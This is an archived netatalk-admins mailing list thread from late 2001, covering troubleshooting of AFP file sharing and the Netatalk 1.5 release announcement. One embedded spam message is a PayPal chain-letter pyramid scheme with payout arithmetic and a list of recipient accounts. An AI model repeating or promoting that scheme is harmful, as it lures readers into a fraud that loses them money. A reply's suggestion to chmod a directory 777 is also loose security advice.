> <rzeman@his.com>
> #  > Subject: Unidentified subject!
> #  > Resent-From: netatalk-admins@umich.edu
> #  > Resent-Date: Mon, 24 Dec 2001 06:25:12 -0500 (EST)
> #  >
> #  > I've had the patches on a netatalk server (rc2,Linux 7.1) since friday -
> tried
> #  > to copy across a chunk o'stuff (800mb+), failed with -37. I got one DID
> #  > conflict
> #  > yesterday. Used did=last.
> #
> #
> #  This error normally indicates that one of the filenames is too long for the
> #  netatalk volume.
> #
> #  I suppose progress on this problem can occur when the CNID code has
> #  stabilised. I'm going to start studying C (Shouldn't be too difficult as I
> #  can already code in perl and other languages) as I'll hopefully have some
> #  time next year to start helping.
> #
> #
> #  Cheers,
> #  Jason.
> #
> #
> Roger
> 
> 
> 



From netatalk.administrators-errors@umich.edu  Wed Dec 26 14:17:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02233
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 26 Dec 2001 14:17:48 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA27389
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 26 Dec 2001 14:17:48 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA27371
	for netatalk.administrators-members@umich.edu; Wed, 26 Dec 2001 14:17:47 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA27344
	for <netatalk-admins@umich.edu>; Wed, 26 Dec 2001 14:17:46 -0500 (EST)
Received: from math.ohio-state.edu (hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.6/8.11.6) with ESMTP id fBQJHk302585
	for <netatalk-admins@umich.edu>; Wed, 26 Dec 2001 14:17:46 -0500
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 9A25F19DD64; Wed, 26 Dec 2001 14:17:46 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP id 982B6E6C4C
	for <netatalk-admins@umich.edu>; Wed, 26 Dec 2001 14:17:46 -0500 (EST)
Date: Wed, 26 Dec 2001 14:17:46 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
X-X-Sender:  <ccunning@localhost.localdomain>
To: <netatalk-admins@umich.edu>
Subject: any word on OSX compatability?
Message-ID: <Pine.LNX.4.33.0112261412250.18203-100000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-RAVMilter-Version: 8.3.0(snapshot 20010925) (mathserv)


I tried RC2, and when I try to connect to the server, I get the message 
"No file services available at the URL afp://mathserv. Try again later or 
try a different URL (server returned error -1)". The server log says:

Dec 26 14:16:33 mathserv afpd[1934]: refused connect from 128.146.110.175
Dec 26 14:16:33 mathserv afpd[1934]: dsi_getsess: Connection refused

Any ideas? Works fine from an OS9 client.

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the 
other head of science is bad! Oh beware the other head of science, Arthur, it 
bites!"


From netatalk.administrators-errors@umich.edu  Wed Dec 26 14:43:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA03524
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 26 Dec 2001 14:43:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA14246
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 26 Dec 2001 14:43:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA14235
	for netatalk.administrators-members@umich.edu; Wed, 26 Dec 2001 14:43:03 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA14205
	for <netatalk-admins@umich.edu>; Wed, 26 Dec 2001 14:43:02 -0500 (EST)
Received: from math.ohio-state.edu (hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.6/8.11.6) with ESMTP id fBQJh2303637
	for <netatalk-admins@umich.edu>; Wed, 26 Dec 2001 14:43:02 -0500
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 5B7DC19DD64; Wed, 26 Dec 2001 14:43:02 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP id 59845E6C4C
	for <netatalk-admins@umich.edu>; Wed, 26 Dec 2001 14:43:02 -0500 (EST)
Date: Wed, 26 Dec 2001 14:43:02 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
X-X-Sender:  <ccunning@localhost.localdomain>
To: <netatalk-admins@umich.edu>
Subject: Nevermind - Re: any word on OSX compatability?
In-Reply-To: <Pine.LNX.4.33.0112261412250.18203-100000@localhost.localdomain>
Message-ID: <Pine.LNX.4.33.0112261442510.18203-100000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-RAVMilter-Version: 8.3.0(snapshot 20010925) (mathserv)


Doh, tcpwrappers :)

On Wed, 26 Dec 2001, Chad Cunningham wrote:

> 
> I tried RC2, and when I try to connect to the server, I get the message 
> "No file services available at the URL afp://mathserv. Try again later or 
> try a different URL (server returned error -1)". The server log says:
> 
> Dec 26 14:16:33 mathserv afpd[1934]: refused connect from 128.146.110.175
> Dec 26 14:16:33 mathserv afpd[1934]: dsi_getsess: Connection refused
> 
> Any ideas? Works fine from an OS9 client.
> 
> 

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the 
other head of science is bad! Oh beware the other head of science, Arthur, it 
bites!"


From netatalk.administrators-errors@umich.edu  Sun Dec 30 11:39:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA03784
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Dec 2001 11:39:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA23479
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Dec 2001 11:39:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA23466
	for netatalk.administrators-members@umich.edu; Sun, 30 Dec 2001 11:39:05 -0500 (EST)
Received: from 216.88.65.193 (56K-193.MaxTNT6.pdq.net [216.88.65.193])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA23014; Sun, 30 Dec 2001 11:38:51 -0500 (EST)
Message-Id: <200112301638.LAA23014@roustabout.mr.itd.umich.edu>
Date: Sun, 30 Dec 2001 11:38:51 -0500 (EST)
From: yeshownz@MELU.hotmail.com
To: $5--------------------$111@roustabout.mr.itd.umich.edu, 110.FOGU@umich.edu
Subject:   Want $111,110, Got $5?  easy and effortless   -SYFP
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Subject: Want $111,110, Got $5?  easy and effortless  
Turn 5 $1 Bills into $111,110 at paypal.

Just $5 and 2 minutes is all it takes to create a
HUGE income in your paypal account over
and over again for as long as you want.

We all want a sure-fire method to make
money and this program is designed
perfectly as $1 to FIVE people
is very low cost and not even worth
cheating and it WORKS!
(Besides, if someone tries to cheat they
only lower the income results for themselves!

Here are the simple instructions:
1) Go to your paypal account and send $1 to each of the (5) paypal
accounts
below: and write in the memo "Please Add Me To Your Mailing List"

If you don't have a PayPal

Account,
click here and set one up.

www.paypal.com/affil/pal=djen%40tiac.net

We are just starting!

1)  yeshownz1@hotmail.com
2)  jjwong14@hotmail.com
3)  nosaj22@msn.com
4)  jasonw18@msn.com
5)  cby26@hotmail.com
 

remove #5 and put your name on the top , simple enough :)

3)Now just send this out to 10 responsible friends.

Here is what happens:
Level#1 You get 10 = 10x$1 = $10
Level#2 Those 10 get 10 = 100x$1 = $100
Level#3 Those 100 get 10 = 1,000x$1 = $1000
Level#4 Those 1,000 get 10 = 10,000x$1 = $10,000
Level#5 Those 10,000 get 10 = 100,000x$1 =$100,000

When your name reaches level 5 you will make $111,110
Like I said, the cost is so LOW, that it isn't even
worth cheating so honesty will make us all $111,110
richer and you could do this over and over again.

Get a paypal
www.paypal.com/affil/pal=djen%40tiac.net
account in 2 minutes here:

www.paypal.com/affil/pal=djen%40tiac.net

You get $5 for signing up, so the program cost you nothing!

This is a chance for everyone with an paypal
  www.paypal.com/affil/pal=djen%40tiac.net account
to come together for a common cause and that is to make BIG money.

Protect your kids with a great opportunity to start a small homebased 
business!
 




From netatalk.administrators-errors@umich.edu  Sun Dec 30 13:21:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA07585
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Dec 2001 13:21:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA11369
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Dec 2001 13:21:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA11348
	for netatalk.administrators-members@umich.edu; Sun, 30 Dec 2001 13:21:32 -0500 (EST)
Received: from columbiaschools.org ([209.194.150.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA11300
	for <netatalk-admins@umich.edu>; Sun, 30 Dec 2001 13:21:30 -0500 (EST)
Received: from marvins2K [209.194.150.107] by columbiaschools.org
  (SMTPD32-6.06) id AC667E70272; Sun, 30 Dec 2001 12:26:46 -0600
Message-ID: <001701c1915e$b6b19810$9865fea9@marvins2K>
From: "Marvin Adams" <mmadams@columbiaschools.org>
To: <netatalk-admins@umich.edu>
References: <Pine.LNX.4.33.0112261442510.18203-100000@localhost.localdomain>
Subject: Home Directory SharePoint
Date: Sun, 30 Dec 2001 12:20:51 -0600
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

I think I am on my last hurddle incorporating a Linux document server for
our OS X / MM school network.

On previous Linux servers, when I created a user, with a home directory, and
made sure the user was a member of the group which was assigned to the home
directory, the directory would show up as a sharepoint when the user logged
in with the chooser.  The sharepoint does not appear on this server for some
reason even though, I believe, that all of my AppleTalk configuration files
are identical to the ones that work.  I assume that I am overlooking a
config file but I have no ideas left on where to look.

Any help pointing me in the right direction would be appreciated.




From netatalk.administrators-errors@umich.edu  Sun Dec 30 14:06:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA09293
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Dec 2001 14:06:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA18792
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Dec 2001 14:06:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA18790
	for netatalk.administrators-members@umich.edu; Sun, 30 Dec 2001 14:06:34 -0500 (EST)
Received: from st-hubbins.hbconcoctions.com (st-hubbins.hbconcoctions.com [209.87.71.62])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA18765
	for <netatalk-admins@umich.edu>; Sun, 30 Dec 2001 14:06:29 -0500 (EST)
From: sth@hbconcoctions.com
Received: from smtp.hbconcoctions.com (smtp.hbconcoctions.com [209.87.71.52])
	by st-hubbins.hbconcoctions.com (8.9.3/8.9.3) with ESMTP id OAA30668;
	Sun, 30 Dec 2001 14:06:22 -0500
Date: Sun, 30 Dec 2001 14:06:22 -0500 (EST)
To: Marvin Adams <mmadams@columbiaschools.org>
cc: netatalk-admins@umich.edu
Subject: Re: Home Directory SharePoint
In-Reply-To: <001701c1915e$b6b19810$9865fea9@marvins2K>
Message-ID: <Pine.LNX.4.10.10112301402540.30573-100000@st-hubbins.hbconcoctions.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Marvin,

Apologies if someone else has already suggested this, but is the last line
of your AppleVolumes.default file a tilde (~) on a line by itself? I
believe this is the directive that shares homedirs, and if you're a vi
user like me, this can sometimes get missed: vi displays empty lines
between the end of a file and the bottom of your terminal with a single
tilde in each.

Best,

-sth

--
Sam Hooker
Computer Audio/WWW Services
hbc, LLC
(802)846-1845
www.hbconcoctions.com

On Sun, 30 Dec 2001, Marvin Adams wrote:

> I think I am on my last hurddle incorporating a Linux document server for
> our OS X / MM school network.
> 
> On previous Linux servers, when I created a user, with a home directory, and
> made sure the user was a member of the group which was assigned to the home
> directory, the directory would show up as a sharepoint when the user logged
> in with the chooser.  The sharepoint does not appear on this server for some
> reason even though, I believe, that all of my AppleTalk configuration files
> are identical to the ones that work.  I assume that I am overlooking a
> config file but I have no ideas left on where to look.
> 
> Any help pointing me in the right direction would be appreciated.
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Sun Dec 30 16:43:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA16915
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Dec 2001 16:43:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA07862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Dec 2001 16:43:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA07845
	for netatalk.administrators-members@umich.edu; Sun, 30 Dec 2001 16:43:14 -0500 (EST)
Received: from columbiaschools.org ([209.194.150.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA07804
	for <netatalk-admins@umich.edu>; Sun, 30 Dec 2001 16:43:13 -0500 (EST)
Received: from marvins2K [209.194.150.107] by columbiaschools.org
  (SMTPD32-6.06) id ABAC8A0B014C; Sun, 30 Dec 2001 15:48:28 -0600
Message-ID: <002e01c1917a$e4c0c200$9865fea9@marvins2K>
From: "Marvin Adams" <mmadams@columbiaschools.org>
To: <netatalk-admins@umich.edu>
References: <Pine.LNX.4.10.10112301402540.30573-100000@st-hubbins.hbconcoctions.com>
Subject: Re: Home Directory SharePoint
Date: Sun, 30 Dec 2001 15:42:35 -0600
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

The (~) is there.  In fact I tried it both with the (~) and without.




----- Original Message -----
From: <sth@hbconcoctions.com>
To: "Marvin Adams" <mmadams@columbiaschools.org>
Cc: <netatalk-admins@umich.edu>
Sent: Sunday, December 30, 2001 1:06 PM
Subject: Re: Home Directory SharePoint


>
> Marvin,
>
> Apologies if someone else has already suggested this, but is the last line
> of your AppleVolumes.default file a tilde (~) on a line by itself? I
> believe this is the directive that shares homedirs, and if you're a vi
> user like me, this can sometimes get missed: vi displays empty lines
> between the end of a file and the bottom of your terminal with a single
> tilde in each.
>
> Best,
>
> -sth
>
> --
> Sam Hooker
> Computer Audio/WWW Services
> hbc, LLC
> (802)846-1845
> www.hbconcoctions.com
>
> On Sun, 30 Dec 2001, Marvin Adams wrote:
>
> > I think I am on my last hurddle incorporating a Linux document server
for
> > our OS X / MM school network.
> >
> > On previous Linux servers, when I created a user, with a home directory,
and
> > made sure the user was a member of the group which was assigned to the
home
> > directory, the directory would show up as a sharepoint when the user
logged
> > in with the chooser.  The sharepoint does not appear on this server for
some
> > reason even though, I believe, that all of my AppleTalk configuration
files
> > are identical to the ones that work.  I assume that I am overlooking a
> > config file but I have no ideas left on where to look.
> >
> > Any help pointing me in the right direction would be appreciated.
> >
> >
> >
>
>


From netatalk.administrators-errors@umich.edu  Sun Dec 30 20:08:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA25819
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 30 Dec 2001 20:08:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA14737
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 30 Dec 2001 20:08:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA14718
	for netatalk.administrators-members@umich.edu; Sun, 30 Dec 2001 20:08:55 -0500 (EST)
Received: from florence.viz.com (dsl081-250-098.sfo1.dsl.speakeasy.net [64.81.250.98])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA14680
	for <netatalk-admins@umich.edu>; Sun, 30 Dec 2001 20:08:54 -0500 (EST)
Received: from c1685383-a (12-233-205-149.client.attbi.com [12.233.205.149])
	by florence.viz.com (Postfix) with ESMTP
	id 11D3BB580F; Sun, 30 Dec 2001 17:02:50 -0800 (PST)
Date: Sun, 30 Dec 2001 17:08:57 -0800
Subject: Re: Home Directory SharePoint
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v480)
Cc: netatalk-admins@umich.edu
To: "Marvin Adams" <mmadams@columbiaschools.org>
From: Deano! <deano@viz.com>
In-Reply-To: <009601c19195$e8cd2e40$9865fea9@marvins2K>
Message-Id: <F7BF3423-FD8A-11D5-A1AD-0050E4CEFD77@viz.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.480)


On Sunday, December 30, 2001, at 04:55  PM, Marvin Adams wrote:

> Well, Linux is telling me that the home directory does not exist when I
> login from the command line.  I can, however, cd right to it.  
> Permissions
> are set 770.  Owner is the user and group is a group to which he 
> belongs.
>
There's your answer, then. In Linux, the home directory of a user can be 
anything*, not just /home/~... So, probably the easiest fix would be to 
look in /etc/passwd, see what it says the home is, and alter that to 
what you want... If you're using LDAP or something else, it should be 
easy to browse the directory structure to find where it wants 'home' to 
be. If all the users share this problem (say, everyone is looking for 
'/var/home/username' instead of '/home/username'), just make a soft link 
from the actual home to the one Linux wants to see.

If it's complaining that it can't find the home, and one exists in that 
exact location, just double-check of case settings, typos, etc. If 
Chmodding it 777 fixes things, then it's just a permissions issue.

To me, the fact that Linux complains when logging in as the user means 
that the Linux side is messed up somehow. Oh yeah, try making a user 
using 'useradd', but include the home directory (-d?) switch and force 
it into the right place. Once you do that, I bet at least for that* 
user, the home directory will appear in the chooser.

-deano



>
> ----- Original Message -----
> From: "Deano!" <deano@viz.com>
> To: "Marvin Adams" <mmadams@columbiaschools.org>
> Sent: Sunday, December 30, 2001 3:54 PM
> Subject: Re: Home Directory SharePoint
>
>
>>
>> On Sunday, December 30, 2001, at 01:42  PM, Marvin Adams wrote:
>>
>>> The (~) is there.  In fact I tried it both with the (~) and without.
>>>
>> Try logging into the server as several different users... Also try
>> su'ing on the linux side as* the user, to make sure they have a valid
>> home directory setup that the unix side recognizes.
>>
>>
>>
>>
>>>
>>>
>>>
>>> ----- Original Message -----
>>> From: <sth@hbconcoctions.com>
>>> To: "Marvin Adams" <mmadams@columbiaschools.org>
>>> Cc: <netatalk-admins@umich.edu>
>>> Sent: Sunday, December 30, 2001 1:06 PM
>>> Subject: Re: Home Directory SharePoint
>>>
>>>
>>>>
>>>> Marvin,
>>>>
>>>> Apologies if someone else has already suggested this, but is the last
>>>> line
>>>> of your AppleVolumes.default file a tilde (~) on a line by itself? I
>>>> believe this is the directive that shares homedirs, and if you're a 
>>>> vi
>>>> user like me, this can sometimes get missed: vi displays empty lines
>>>> between the end of a file and the bottom of your terminal with a 
>>>> single
>>>> tilde in each.
>>>>
>>>> Best,
>>>>
>>>> -sth
>>>>
>>>> --
>>>> Sam Hooker
>>>> Computer Audio/WWW Services
>>>> hbc, LLC
>>>> (802)846-1845
>>>> www.hbconcoctions.com
>>>>
>>>> On Sun, 30 Dec 2001, Marvin Adams wrote:
>>>>
>>>>> I think I am on my last hurddle incorporating a Linux document 
>>>>> server
>>> for
>>>>> our OS X / MM school network.
>>>>>
>>>>> On previous Linux servers, when I created a user, with a home
>>>>> directory,
>>> and
>>>>> made sure the user was a member of the group which was assigned to 
>>>>> the
>>> home
>>>>> directory, the directory would show up as a sharepoint when the user
>>> logged
>>>>> in with the chooser.  The sharepoint does not appear on this server
>>>>> for
>>> some
>>>>> reason even though, I believe, that all of my AppleTalk 
>>>>> configuration
>>> files
>>>>> are identical to the ones that work.  I assume that I am 
>>>>> overlooking a
>>>>> config file but I have no ideas left on where to look.
>>>>>
>>>>> Any help pointing me in the right direction would be appreciated.
>>>>>
>>>>>
>>>>>
>>>>
>>>>
>>>
>>
>>
>


From netatalk.administrators-errors@umich.edu  Tue Jan  1 01:48:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id BAA07224
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 01:48:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA09750
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 01:48:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA09731
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 01:48:31 -0500 (EST)
Received: from redhat.columbiacomputers.com ([209.194.44.35])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA09478
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 01:48:22 -0500 (EST)
Received: from there (adsl-156-170-26.jan.bellsouth.net [66.156.170.26])
	by redhat.columbiacomputers.com (8.11.2/8.11.2) with SMTP id g01839d22892
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 02:03:09 -0600
Message-Id: <200201010803.g01839d22892@redhat.columbiacomputers.com>
Content-Type: text/plain;
  charset="iso-8859-15"
From: Gene Hurst <ghurst@columbiacomputers.com>
Organization: Columbia Computers
To: Netatalk Administrators <netatalk-admins@umich.edu>
Subject: Mac OS X
Date: Tue, 1 Jan 2002 00:47:48 -0600
X-Mailer: KMail [version 1.3.1]
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

Someone posted some parameters that fixed a problem with Mac OS X clients not 
being able to connect to a Netatalk server.  Does anyone out there have these 
parameters handy... I am having the same problem and I can't find the message.

Thanks,

Gene

From netatalk.administrators-errors@umich.edu  Tue Jan  1 02:15:16 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA08145
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 02:15:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA20812
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 02:15:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA20806
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 02:15:16 -0500 (EST)
Received: from redhat.columbiacomputers.com ([209.194.44.35])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA20784
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 02:15:07 -0500 (EST)
Received: from there (adsl-156-170-26.jan.bellsouth.net [66.156.170.26])
	by redhat.columbiacomputers.com (8.11.2/8.11.2) with SMTP id g018Tsd22911
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 02:29:55 -0600
Message-Id: <200201010829.g018Tsd22911@redhat.columbiacomputers.com>
Content-Type: text/plain;
  charset="iso-8859-15"
From: Gene Hurst <ghurst@columbiacomputers.com>
Organization: Columbia Computers
To: Netatalk Administrators <netatalk-admins@umich.edu>
Subject: Never Mind...
Date: Tue, 1 Jan 2002 01:14:33 -0600
X-Mailer: KMail [version 1.3.1]
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

Forget my earlier message... I finally found the one that I was looking for 
in the archives.  Login message...

Gene

From netatalk.administrators-errors@umich.edu  Tue Jan  1 18:20:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA08536
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 1 Jan 2002 18:20:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA19931
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 Jan 2002 18:20:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA19922
	for netatalk.administrators-members@umich.edu; Tue, 1 Jan 2002 18:20:13 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA19898
	for <netatalk-admins@umich.edu>; Tue, 1 Jan 2002 18:20:08 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.12.1/8.12.1) with ESMTP id g01NK3X9013474
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 00:20:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g01NK2Bt030826
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 00:20:02 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g01NK2Xj030825
	for netatalk-admins@umich.edu; Wed, 2 Jan 2002 00:20:02 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 16LY7Z-0004DR-00; Wed, 02 Jan 2002 00:15:01 +0100
Date: Wed, 2 Jan 2002 00:15:01 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Netatalk 1.5.0 Released!
Message-ID: <20020102001501.A16197@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

                     Netatalk 1.5 The New Year's Release
                     ===================================

The Netatalk development team is proud to announce the final 1.5 release of
the Netatalk File Sharing suite. Netatalk is a collection of server programs
and utilities for handling various protocols employed by Apple Macintosh
computers on Unix compatible systems. The suite contains

 * afpd - a file server that implements the Apple Filing Protocol, allowing
   clients running MacOS to access Unix file servers
 * atalkd - an implementation of the AppleTalk protocol
 * papd - a print server that enables Macintosh computers to access printers
   connected to Unix servers
 * timelord - a time server for synchronizing time over the network
 * megatron - a tool to convert files in Macintosh specific formats like
   BinHex, AppleSingle, or MacBinary into files, readable by Unix computers.
 * various other utilities 

News in Netatalk 1.5
~~~~~~~~~~~~~~~~~~~~

Since the early pre-release versions of Netatalk 1.5, Netatalk has been
hosted and developed on SourceForge (http://sourceforge.net/). This offers
a great variety of resources and tools to the project and helped to open
up the development process.

